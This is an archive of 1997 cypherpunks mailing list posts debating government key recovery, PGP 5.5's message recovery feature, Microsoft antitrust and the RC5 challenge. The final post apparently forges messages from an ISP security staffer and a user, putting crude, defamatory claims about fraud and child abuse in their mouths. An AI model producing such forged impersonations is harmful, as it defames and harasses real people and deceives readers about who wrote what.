Xref: thing1.leftbank.com talk.politics.crypto:23766
X-Newsreader: Yet Another NewsWatcher 2.3.0

-----BEGIN PGP SIGNED MESSAGE-----

Just saw the fallowing ad on pg 42 of
Federal Computer Week, Vol 11, Num 33, Oct 20, 1997.

If I was closer, I would go, just to see what the "enemy" has to
demonstrate.

          ==================================================
                            The Government
                             Information
                              Technology
                            Services Board

                         Federal Key Recovery
                        Demonstration Project

                        invites you to attend

                             A TECHNOLOGY
                              CONFERENCE

                    Wednesday, November 15, 1997,
                         Omni Shoreham Hotel,
                            Washington DC
                       7.30 a. m. - 8: 00 a. m.

                       Conference with exhibit
                       demonstrations following
                      from 8:00 a.m. - 5:30p.m.

                   For details, visit out Web site:
                      http://gits-sec.treas.gov
                              or contact
                      Lisa McGrady Pellegrin at
                   (202) 293-3835 or Terry Painter
                          at (202) 986-0200

                      Registration fee: $100.00
                     (includes breakfast, lunch)
              To register, please call and mail check by
                     October 24, 1997 payable to:

                    McPell Communications Company
                    1140 Connecticut Avenue, N.W.
                   Suit 606, Washington, D.C. 20036
          ==================================================

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBNEui9jecHWvdAD3dAQF2uAP+OJMD/t7wFl1YiHqS+P/Dor0D5lDXOk6S
0b4fkVqeBih/gRwM0UYOxqlpxh7uyHjXyQQIsaLRUtMD3f+Rg3vPkBHubGwPq513
98upODawMD5znT/xUT5TZHeWWxlnisBrmcH308jG1zLYh4Ls1qJat75n2ldj+HWI
RhdMsNvIn/Y=
=VJyz
-----END PGP SIGNATURE-----
--
Mark Atwood       | Thank you gentlemen, you are everything we have come to
zot@ampersand.com | expect from years of government training. -- MIB Zed

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeffrey Gold <0002595870@MCIMAIL.COM>
Date: Thu, 23 Oct 1997 05:39:21 +0800
To: ietf-open-pgp <pgp-users@joshua.rivertown.net>
Subject: World-wide GAK
Message-ID: <01IP4EPU8GYMANBQBB@DGN0IG.mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain



For those who thought GAK was merely a local political issue,
isolated to those barbarians in the USA, one that they could 
afford to ignore and morally refuse to address -- Quelle surprise!
It's spreading:

FRANCE PROPOSES KEY ENCRYPTION LAW

The French government has proposed a law that would mandate a 
key-recovery system for all encrypted electronic documents, a 
move that is opposed by the business community and the European 
Commission.  Earlier this month, the European Commission rejected 
the key-recovery approach to encryption, which some believe would 
make it easier for competitors to gain access to a company's 
business secrets.  "I do not say this is the best system," 
says the chief of France's Central Service for the Security of 
Information Systems.  "It is the least bad in trying to find a 
balance between national-security interests, economic interests 
and the protection of personal privacy."  

(Wall Street Journal 20 Oct 97)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Thu, 23 Oct 1997 09:04:19 +0800
To: cypherpunks@toad.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <88256538.00787D24.00@pcwhub.pcworld.com>
Message-ID: <19971022174359.10769@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Oct 22, 1997 at 03:08:07PM -0700, spencer_ante@webmagazine.com wrote:
> With all due respect to Tim May:
> 
> As a person whose been at work on a very long feature about PGP Inc. for
> Wired, I can tell you that businesses really don't care that much about
> PGP's civil liberties advocacy. In fact, its rep could hurt as much as help
> them. The Fortune 500 is much more pragmatic: They want solutions that
> work, that help them maintain security for their intellectual property and
> capital. To that extent, PGP 5.5--which enables IS directors to manage a
> public key infrastructure and enforce company-wide security policies-- is a
> step in the right direction.
> 
> But with this new product, I agree that they run the risk of alienating
> their core user group of cypherpunks and hackers. 

Alienate some, for sure.  It doesn't really matter, though. 
Cypherpunks and hackers don't have a monopoly on intelligence -- there
are plenty of people who will hack crypto for food. PGP can't make a 
go of it on free software, and they can't live forever on investor 
financing. 

> Encryption is a very
> complicated topic that doesn't lend itself well to sloganeering and
> histrionics.

Eh?  GAK,  GAKWare, Big Brother Inside, Four Horsemen of the Infoclypse, 
etc, etc,etc

Sloganeering and histrionics are the very lifeblood of this list.  It 
would die in days if it were limited to rational discussion...

And of course, sloganeering and histrionics are just as prevalent in 
the crypto debates in DC.

> And one major thing that needs to be pointed out: PGP's key
> recovery system is *voluntary and private*--not mandatory and gov.
> controlled, which is what the Feds and Louis Freeh have been pushing for.
> One potential positive side effect of PGP 5.5 is that it could realign the
> crypto debate and force people to consider this question: Whose back door
> should netizens be more worried about: Big Brother or The Boss?

Nobody denies that your boss has the right to control his equipment
and software as he sees fit, and everybody debating on these lists
agrees that the government does not need access. 

It is also incontrovertable that PGP's CMR implementation is a
response to real demand.

It may be less obvious, but despite what PGP claims, a significant
fraction of this demand is for the ability to SNOOP, and not just data
recovery.  *All* the debate on this list implicitly takes the 
employee's side, not the management's side, and that is a serious 
lack.  The unpleasant fact is that managers NEED TO BE ABLE TO SNOOP.  
It is terrible to work for an employer who will snoop, but it is 
just as terrible to have dishonest employees.  It doesn't take a 
genius to realize that the existence of dishonest employees is a
primary motive for management snooping.

Clearly, there are some organizations for which this is more important
than others -- financial services companies are only the most obvious
example. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Thu, 23 Oct 1997 09:00:09 +0800
To: cypherpunks@ssz.com
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET ALERT)
In-Reply-To: <v03007808b073c711fcb1@[204.254.22.221]>
Message-ID: <19971022174848.58494@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Oct 22, 1997 at 02:23:29PM -0400, Declan McCullagh wrote:
> At 14:06 -0400 10/22/97, Jonah Seiger wrote:
> >While I suspect that new key recovery or CMR products may create some new
> >traction for supporters of mandatory GAK, PGP 5.5 is not the first example
> >of such a product (TIS has been marketing key recovery products for a
> >while).
> 
> Of course TIS has been doing this forever. But TIS, a shop staffed by
> former NSA spooks, is not the PGP that Phil Zimmermann founded. For PGP to
> release such a product changes the political dynamic in important ways.
> 
> >More importantly though, the Blaze et al study
> >(http://www.crypto.com/key_study) did not say that key recovery/key escrow
> >systems can't be built.
> 
> In fact it said: "Building the secure infrastructure of the breathtaking
> scale and complexity that would be required for such a scheme is beyond the
> experience and current competency of the field." Sounds like "can't be
> built" to me.

In that case, it is completely inaccurate to call PGP5.5 an existence 
proof.  In any case, the Blaze et al paper explicitely acknowledges 
that there is a "business case" for corporate level key recovery, and 
clearly distinguishes the LEA infrastructure model from more limited 
cases. 

> I agree that PGP 5.5 doesn't meet the FBI's demand for realtime access. But
> it can be used as a waving-around-on-the-House-floor prop to pass a law
> that requires mandatory key escrow.

They could wave around TIS's products (designed by noted cypherpunk
Carl Ellison, I believe), or NorTel's Entrust, just as well.  Hell, in
a few months they may be able to wave around Adam Backs CDR product,
which also facilitates GAK -- access to communications is worse than
access to data, by some measure, but the LEA's will certainly be
grateful to Adam for his legitimization of Key Escrow... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 23 Oct 1997 00:05:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
Message-ID: <199710221555.RAA01080@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



mark@unicorn.com writes:

> When a customer wishes to send email to Joe, he would use this public key.
> When encrypting, PGP would detect the tag and put up a dialog box pointing
> out that this is a corporate key and if they click on the 'confidential'
> button it will be encrypted to the user's personal key prior to encrypting
> to the corporate key (by which I mean superencryption, to avoid traffic
> analysis). The default would be not to superencrypt; and as a side effect
> this system would be compatible with any version of PGP for
> non-confidential mail (assuming that version understands the encryption
> algorithms in use). 

Neat, automatic superencryption.

Could the same idea work with the Pgp method with the CMR key?  You
would encrypt to the user first, then reencrypt to the combination
of user and CMR key.

Would this prevent GAK?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 23 Oct 1997 07:33:49 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Adam Back: Guardian of CP purity? (Re: puff pieces vs tough crypto issues)
In-Reply-To: <199710221356.OAA02611@server.test.net>
Message-ID: <199710222322.TAA16450@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <199710221356.OAA02611@server.test.net>, on 10/22/97 
   at 02, Adam Back <aba@dcs.ex.ac.uk> said:

>Declan McCullagh <declan@well.com> writes:
>>
>> [puff piece on toilets]
>> 

>No offense Declan, but what has this got to do with cypherpunks,
>cryptography, crypto politics etc?  (This is not a perrygram, this is a
>message saying I found that particular article uninteresting).

>I think we'd be more interested to see an analysis piece of the political
>merits/demerits of the pgp5.5 CMR corporate message recovery technique
>than of _toilets_.

>Where do you stand on the CMR argument?  Or are you staying away from the
>hot potato :-)

Exactly who died and made you the guardian of Truth, Justice, and the
Cypherpunk Way??? Sometimes I think you take yourself way too seriously
Adam.


-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 06:33:21 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Federal Key Recovery Demonstration Project ?!
In-Reply-To: <v03110716b0741d86fcea@[139.167.130.248]>
Message-ID: <v03007804b0742e5cee9e@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



Yep, I'm planning to go. Should be amusing if nothing else. --Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 06:49:17 +0800
To: spencer_ante@webmagazine.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <88256538.00787D24.00@pcwhub.pcworld.com>
Message-ID: <v03007805b0742f682da4@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



At 15:08 -0700 10/22/97, spencer_ante@webmagazine.com wrote:
>But with this new product, I agree that they run the risk of alienating
>their core user group of cypherpunks and hackers. Encryption is a very
>complicated topic that doesn't lend itself well to sloganeering and
>histrionics. And one major thing that needs to be pointed out: PGP's key
>recovery system is *voluntary and private*--not mandatory and gov.
>controlled, which is what the Feds and Louis Freeh have been pushing for.
>One potential positive side effect of PGP 5.5 is that it could realign the
>crypto debate and force people to consider this question: Whose back door
>should netizens be more worried about: Big Brother or The Boss?

Spencer, the folks on the cypherpunks list know better than perhaps anyone
else that encryption is a complicated topic.

I know it's tempting to search for New Things to Say about the crypto
debate. I try it myself sometimes. But the question you posed about "whose
backdoor should netizens be more worried about" has been debated for years
and is hardly new.

The short answer to it is: when Big Brother is my Boss, I have remedies. I
can leave the company or pressure it to change policies. I can file a union
grievance. If all else fails, I can leave the company and start my own.

This is not the case when Big Brother is Louis Freeh or Janet Reno. When
worldwide GAK is the rule, where else can I go?

Also: governments have guns; governments have jails. They have unique
coercive powers, which the law and western philosophical traditions
recognize -- and try to limit.

-Declan

(posting this before a soccer game somewhere in virginia)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arturo Grapa Ysunza <agrapa@banamex.com>
Date: Fri, 24 Oct 1997 00:18:15 +0800
To: "'Lizard' <cypherpunks@toad.com>
Subject: RE: Bill Gates, the Bully Savior
Message-ID: <c=MX%a=_%p=BANACCI%l=MEX3976BCAOP2-971023002016Z-9482@mex3980jarop1.BANAMEX.COM>
MIME-Version: 1.0
Content-Type: text/plain




I too have my doubts about Microsoft software. Yes, they clearly
>dominate a very lucrative market largely due to, as you mention, "sheer
incompetance on the part of the rest of the industry" but another
important reason is better marketing. Netscape, for example, could have
beaten out MS if they had had better marketing and strategy
(incompetance?).

I believe the point of the Justice Dept. investigations is anti-trust
issues more than it is a witch hunt. We all know that monopolies can,
but not necesarily do, produce inferior products. Anti-trust laws are
meant to facilitate competition on even ground and that can lead to
better products for us the consumers. 

MS can´t be blamed for the incompetence of the rest of the industry. If
MS wins anti-trust litigation then so be it but someone has to keep them
in check. We elect the people who appoint others to review these
matters. If no one does it then soon we´ll see "Microsoft Compatible"
stickers on the dashboards of our cars, toasters, beepers, etc. And what
will happen to Unix then when we live in a Microsoft compatible world?

BTW, my beef with MS is primarily quality. If they want to dominate the
market then they better give me quality or I´ll spend my money
elsewhere. Would you buy a Ford if you knew the tires would fall off if
you don´t install the **latest-and-greatest Service Pack**? I, for one,
will keep bugging MS to produce better products. In the meantime, I´ll
keep buying from the Unix side (which is also lagging).


Arturo Grapa Ysunza
agrapa@banamex.com
Ing. de Comunicaciones
Banco Nacional de México, S.A.
http://www.banamex.com/

>----------
>Desde: 	Declan McCullagh[SMTP:declan@well.com]
>Enviado el: 	Miércoles 22 de Octubre de 1997 1:07 PM
>Para: 	Lizard
>Cc: 	Jennifer S. Granick
>Asunto: 	Re: Bill Gates, the Bully Savior
>
>There was a good op-ed in the WSJ on Monday. The Politics of Envy,
>basically. Why everyone in Silicon Valley hates Microsoft...
>
>But some of the complaints about Microsoft come down to personal taste. The
>masses offend refined sensibilities when they buy Windows 95 in droves.
>Rein them in! Stop them from buying what they want! Don't let them get free
>copies of Internet Explorer.
>
>I share Lizard's distaste for Microsoft products. My Unix workstation at
>home has not one MSFT application on it. I have only Microsoft Word on my
>Duo at work, and I could get by with WordPerfect. But our dislike for their
>products doesn't mean that we are morally justified in restricting what the
>company can do.
>
>-Declan
>
>
>
>At 10:42 -0700 10/22/97, Lizard wrote:
>>Uhm...how do 'we all' benefit from having the same Justice Department which
>>defended the CDA (and which is pushing for GAK) decide for us all what is,
>>and is not, part of an operating system?
>>
>>These people are not qualified to make ANY judgements about computers -- I
>>have to assume the 'experts' they got to tell them about OS software are no
>>more qualified than the 'experts' they got to testify about the CDA (L-18,
>>anyone?).
>>
>>I have no great love for Microsoft (I don't think anyone forced to use
>>their crappy software does), and, emotionally, I'd like to see them get
>>taken down a peg -- but legally and ethically, they are not doing anything
>>wrong. They're just being tough competitors. Microsoft has prospered not
>>due to any technical brilliance on their part, but due to sheer
>>incompetance on the part of the rest of the industry, who have made a hobby
>>of underestimating Bill Gates and overestimating their own customers
>>loyalty.
>>
>>It's a pity I'm a mind-flaying victim. If I wasn't, I could forget
>>principles and ideals and just say, "Microsoft Big. Microsoft Nasty. Uncle
>>Sam stomp Microsoft. Yay, Uncle Sam." But because I work from principle
>>FIRST, I have to grant Microsoft the same rights I would grant Sam's Deli
>>or Joe's Shoe Store, and that includes the right to offer any combination
>>of products or services they wish, and let the market decide to buy or not.
>
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 23 Oct 1997 03:05:01 +0800
To: declan@well.com
Subject: Singaporean control freaks & CMR (Re: puff pieces vs tough crypto issues)
In-Reply-To: <v03007808b073c711fcb1@[204.254.22.221]>
Message-ID: <199710221838.TAA04516@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
> The relevance? Another example of Singapore's loony politics. Strict social
> controls and relative economic freedom. I find it fascinating in light of
> Net-filtering and other attempts at restricting information flow; if you
> don't, well, you can always delete it. :)

The net-filtering and social control aspects of Singapore are very
interesting.  Seems that somewhere like Singapore might be an earlier
adopter of mandatory GAK -- social ills have hugely disproportionate
treatment over there.  I hear (and our Singaporean contributer
confirms) that chewing gum is illegal, jay walking too.  (Hey you have
the jay walking laws in the US too don't you?)  (I missed the social
control aspect of the vote for kewlest public toilet story).

We all suffer this kind of mind numbing stupidity on part of our
governments to some extent.  Outlawing of `rambo' knives, laws
defining pi = 3, etc., etc.

> [CMR topic:] My position is something along these lines:
> corporations have a right to go down the CMR path; it is unwise to
> restrict them through the coercive power of the state. 

The question is really what _is_ the CMR path?  PGP Inc are arguing
that it is merely a recovery procedure to recover stored data in event
of disaster (stored emails in mail folders, and files encrypted to
yourself).  However the design seems itself much more suited to
message screening, or message snooping.

I have yet to see any PGP Inc representative admit to the message
screening design motivation.  In fact they have fairly clearly denied
this.  Either you believe that, or you figure they are being careful
not to admit to this.  I don't know what to believe.

The CDR approach (http://www.dcs.ex.ac.uk/~aba/cdr/) is more
secure, less politically dangerous, and equally privacy respecting.

> At the same time, we need to speak out against crypto-foolish
> practices. If corporations start building CMR products, the
> political consequences could be devestating. It's like building a
> gallows for your own hanging.

Yes, I think it is potentially dangerous.

> >From my perch in Washington, I see PGP 5.5/CMR as an existence proof that
> key recovery can be done. So far the crypto-advocates have been able to
> wave around the Blaze et al white paper that says we don't know how to do
> it. Even Dorothy Denning agreed. But now when a mandatory GAK bill goes to
> the House floor, all Rep. Solomon etc. have to do is wave around a
> shrinkwrapped copy of PGP and say: "I bought this for $19 at the Egghead
> shop at 21st and L." Details will be lost in the fearmongering.

This is one example of why CMR may be dangerous.  Another is the
danger that we have a couple of years of mass CMR enabled software
deployed.  Tim has been using the acronym GMR, which nicely says what
a well deployed CMR software base can be converted to with an over
night presidential decree.  Lethal.

> I suspect that there's not that substantial a market for CMR. The apparent
> market demand now is an artificial one created by the Clinton
> administration.

Again, what _is_ CMR?

I do think companies if they are storing lots of data in encrypted
form will want to assure themselves that they can get it back.  Sort
of like unix/windows NT passwords; if every time users forgot their
password, you had to start over with an empty account, people would
get annoyed.

The problem is that pgp5.x is both an email encryption system and a
file encryption system.  So PGP Inc argue that they need the recovery
features for files.  Well OK, but for emails in transit?  The way to
treat emails in transit is to encrypt with recovery info after
receipt, if the employee feels that particular email is worthy of
saving for company records.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 23 Oct 1997 03:01:36 +0800
To: nobody@REPLAY.COM
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <199710221555.RAA01080@basement.replay.com>
Message-ID: <199710221847.TAA04530@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> mark@unicorn.com writes:
> >
> > [super encrypt instead of CMR] 
> 
> Neat, automatic superencryption.
> 
> Could the same idea work with the Pgp method with the CMR key?  You
> would encrypt to the user first, then reencrypt to the combination
> of user and CMR key.

I think that is redundant -- if only the user can decrypt to get the
actual plaintext -- you'd just as well send encrypted to the user
alone.

Super encrypting with a non-CMRed company key is perhaps what you are
thinking, and then encrypting internally to user and CMR key.

This would be a definate improvement over straight forward CMR because
it is effectively a poor-mans Transport Level Security (TLS), and
therefore denies access to the ciphertext (and attached CMR recovery
info) to governments and other intruders.

Still I think better yet not to send recovery information over the
wire at all, unless there is a user requirement for message screening.

The stated corporate user requirement for CMR by PGP Inc is recovery
of stored files.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 23 Oct 1997 10:19:45 +0800
To: spencer_ante@webmagazine.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <88256538.007CF786.00@pcwhub.pcworld.com>
Message-ID: <344EAF27.474F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



spencer_ante@webmagazine.com wrote:
> 
> I think any type of surveillance system is cause for concern--whether it
> originates from the government or IBM. Lastly, I think you overestimate the
> amount of wiggle room folks have in the labor market, which is never
> perfect. 

  I remember standing beside a farmer in Buttfuck, North Dakota, 
as we watched an antique roadster cruise by. He said, "They don't
make 'em like that, anymore.", to which I replied, "Yeah, and they
probably never did."

  I have nothing against the 'standard phrases' being dug out of the
back of the closet and thrown in the general direction of 'the usual 
suspects', every now and again, for the purposes of verifying that
this or that list member has done his or her Cpunx 'required reading.
{Ayn Rand, Snow Crash, Applied Cryptology, Tales from the Crypt...)
  However, I sometimes wonder if some of the 'freeh-market' advocates
on the list, after reading '1984', didn't say to themselves, "Gee, I
think Winston should have just moved somewhere else."

~~~~~~~~~~~~~~~~~~~
FROM MOUNTAIN MEDIA
    THE LIBERTARIAN, By Vin Suprynowicz
    Your license, please?

  Debra Nutall of Memphis, Tenn. thought she was an American success
story
when she turned her hair-braiding skills into a business and got off
welfare two years ago.

  But now the Tennessee state cosmetology board is trying to close down
her
Memphis shop in a licensing dispute.

  "They call us bootleg braiders in the papers and it hurts," Nutall
told
reporter Paul Shepard of the Associated Press. "We pay our taxes and
make
this as professional as we can. Would they rather have me back on
welfare?"
~~~~~~~~~~~~~~~~~~~

  Allow me to point out that there is no longer anywhere 'to go' in
order to avoid Big Brother, Little Brother, Invisible Brother...
  You can move to Mars, but you're still responsible for paying US
taxes, so God help you if you ever come back (or if 'they' come and
get you).

> What happens when most of the Fortune 500 starts eavesdropping on
> company email? (Incidentally, I think that most working people--unlike the
> digerati--are not in a position to launch their own company.) It reminds me
> of the drug testing issue. Sure, it sucks and may even be unconstitutional,
> but that hasn't stopped a lot of companies from doing it.

  *Starts* eavesdropping? Where you been, Bubba?
  When a Company has the 'right' to wiretap you, search you, and make
you piss in a jar, as well as having their own armed forces monitoring
you and patrolling your workplace, the main difference between them
and the government is that the corporation usually doesn't pretend
to allow you to vote.
  Like the ads for the Pizza chain, 'Brother' doesn't come in the
'small'
size, anymore. We have Big Brother, Bigger Brother, and All That Can Eat
You Brother.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Spirito <berezina@qed.net>
Date: Thu, 23 Oct 1997 08:26:58 +0800
To: Fight Censorship <fight-censorship@vorlon.mit.edu>
Subject: Re: Bill Gates, the Bully Savior
In-Reply-To: <v02140b0bb04c1c1277c7@[206.221.201.7]>
Message-ID: <3.0.3.32.19971022201255.007ba6a0@207.198.253.29>
MIME-Version: 1.0
Content-Type: text/plain



At 01:34 PM 10/22/97 -0700, Declan McCullagh wrote:

>Or it's like buying a Ford Mustang that comes with brown carpets. Auto
>manufacturers "bundle" lots of things with their cars... Where's the DoJ
>when we need them?!?

Not sure where I stand on this. An OS is more like a highway than a car.
Or, better, a rail track -- since it imposes severe compatibility
requirements on those who want to utilize it.

Imagine that someone owned the rail track standard & had the exclusive
IP-rights to manufacture it. Non-standard tracks exist, but they don't go
nearly as many places. Then the company uses its position as owner of the
tracks to demand...

Oh screw it. I don't feel like going down analogy road any further. Detail
is the enemy of ideology, & the significant detail re: Microsoft is the
rare & happy (for Bill Gates) character of its business that it is more
important to have a standard OS than to have a quality OS. Therein lies his
billions, & it seems to me reasonable to scrutinize attempts to parlay that
counter-ordinary-market reality into dominance in other areas. Perhaps this
could be settled as the online service spat was: bundle Netscape with Win98
(& Opera, Arachne &c).

Or perhaps the US could nationalize Windows. Whoo-hoo! Therein lies a Plan...

Paul

Her name was Julie, she wore Batman sneakers,
And she laughed when she sang,
"Money can't buy me love!"
North of Petaluma where the 1 meets the 101 --
Oh man, we took a lot of drugs...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 23 Oct 1997 03:31:57 +0800
To: tcmay@got.net
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <v03102800b073eb6667df@[207.167.93.63]>
Message-ID: <199710221921.UAA05327@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> Declan writes:
> >[...]all Rep. Solomon etc. have to do is wave around a
> >shrinkwrapped copy of PGP and say: "I bought this for $19 at the Egghead
> >shop at 21st and L." Details will be lost in the fearmongering.
> 
> Yep, they're already doing this. This was reported a week or so ago,
> somewhere here in Cypherpunks.

Another interesting thing was that the French picked up on it too --
very interesting for them because they are just switching from
crypto-ban to mandatory GAK.  I suspect if PGP Inc could get an export
license they would buy in to it heavily.

(Fabrice Planchon <fabrice@math.Princeton.EDU>, and Jean-Francois Avon
kindly translated a French document on the web "pgp tows the line" or
something like that I think was the consensus they arrived at on
correct translation of the title of the document).

The indirect other danger is that in going the CMR route, PGP Inc may
be standards setters either through the OpenPGP standard, or outside
of it (in a similar way to the way netscape extensions are supported
by many vendors long before they are part of HTML 3.x or whatever).

If CMR becomes the standard, this greatly simplifies the task of TIS,
or TIS europe, or anyone else in building a much more GAK friendly
product which can interoperate with OpenPGP.  I think I saw a tis.com
address on ietf-open-pgp discussions list and wouldn't be surprised if
they are busy building TIS OpenPGP compliant GAKware right now.

A second indirect danger is that by taking this approach PGP Inc
damages itself by isolating itself from the large cypherpunk and
pro-privacy community, and that an even less friendly crypto email
standard wins by default.  How much protection do we have in S/MIME
vendors.  We were relying on PGP Inc to set the pro-privacy, anti-GAK
line, and then we all would have been behind them in pushing the
OpenPGP standard ahead of other standards because of it's GAK
resistance.

As it is various cypherpunks are scrambling trying to keep the OpenPGP
standard a CMR free-zone, at least as a temporary measure for this
version of the standard.


As to what PGP Inc were thinking, I'm not sure I understand what they
were thinking ...

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@taranis.iks-jena.de>
Date: Thu, 23 Oct 1997 10:52:21 +0800
To: cypherpunks@toad.com
Subject: Re: [rc5] The unknown message is...
In-Reply-To: <3.0.3.32.19971022161452.009824f0@slacker.com>
Message-ID: <344EB673.6FC6@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



David McNett wrote:
> It is a great privilege and we are excited to announce that at 13:25
> GMT on 19-Oct-1997, we found the correct solution for RSA Labs' RC5-
> 32/12/7 56-bit secret-key challenge.  Confirmed by RSA Labs, the key
> 0x532B744CC20999 presented us with the plaintext message for which we
> have been searching these past 250 days.
> 
> The unknown message is: It's time to move to a longer key length

By coincidence, I happened to be surfing through some old CPUNX
archives today, and came across the following:

> From: Tim May
> Date: Wed, 22 Jan 1990 16:14:52 -0500
> To: cypherpunks@toad.com
>
> I bet if there was ever an RC5-32/12/7 56-bit secret key challenge,
> that the unknown message would be: "It's time to move to a longer
> key length."
>
> Tim May
> "The Cypherpunks have shown their hand: They are going to start 
>  a mailing list."

How does he _do_ that?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MIS Security <security@microserve.net>
Date: Thu, 23 Oct 1997 12:05:01 +0800
To: Daniel Leeds <cosmos@microserve.net>
Subject: Re: Complaints
In-Reply-To: <Pine.UW2.3.95.971022191812.25204z-100000@reality>
Message-ID: <344EBAC6.62FD@microserve.net>
MIME-Version: 1.0
Content-Type: text/plain



MIS Security wrote: 
> Dan,
> If this was my personal box and we were bullshitting, that would be funny.
> On the other hand, I have to address this matter.  Do you have a .forward
> file in your other box?  How else are they getting your mail?
> 
> -Jeremy

Dan,
  I just read the headers on the previous message, and boy, do I feel
like a fucking idiot. It was a forgery!
  Boy, sometimes I'm just dumber than a sackful of hammers.

  Hold on, while I check the headers on _this_ message.

  Damn! This one's a forgery, too.
  Now I feel really, really, stupid..._writing_ a forged message.

  I'm going to go sit in a corner, and hit my dick with a hammer.

Jeremy

> On Wed, 22 Oct 1997, Daniel Leeds wrote:
> 
> > MIS Security wrote:
> > > Dan,
> > > You have a .forward file here at mis that points to toad.com.  Do you have
> > > a .forward there?  I received several compalints from people who are
> > > getting your mail at cosmos@microserve.net.
> >
> > Jeremy,
> >   Don't pay any attention to the complaints. They are probably just
> > from people I have defrauded in business dealings, or parents who
> > object to the sexual liberties I have taken with their children.
> >   Just tell those whiners to go fuck themselves.
> >
> > Dan
> > ~----------------------------------------------------------------------------
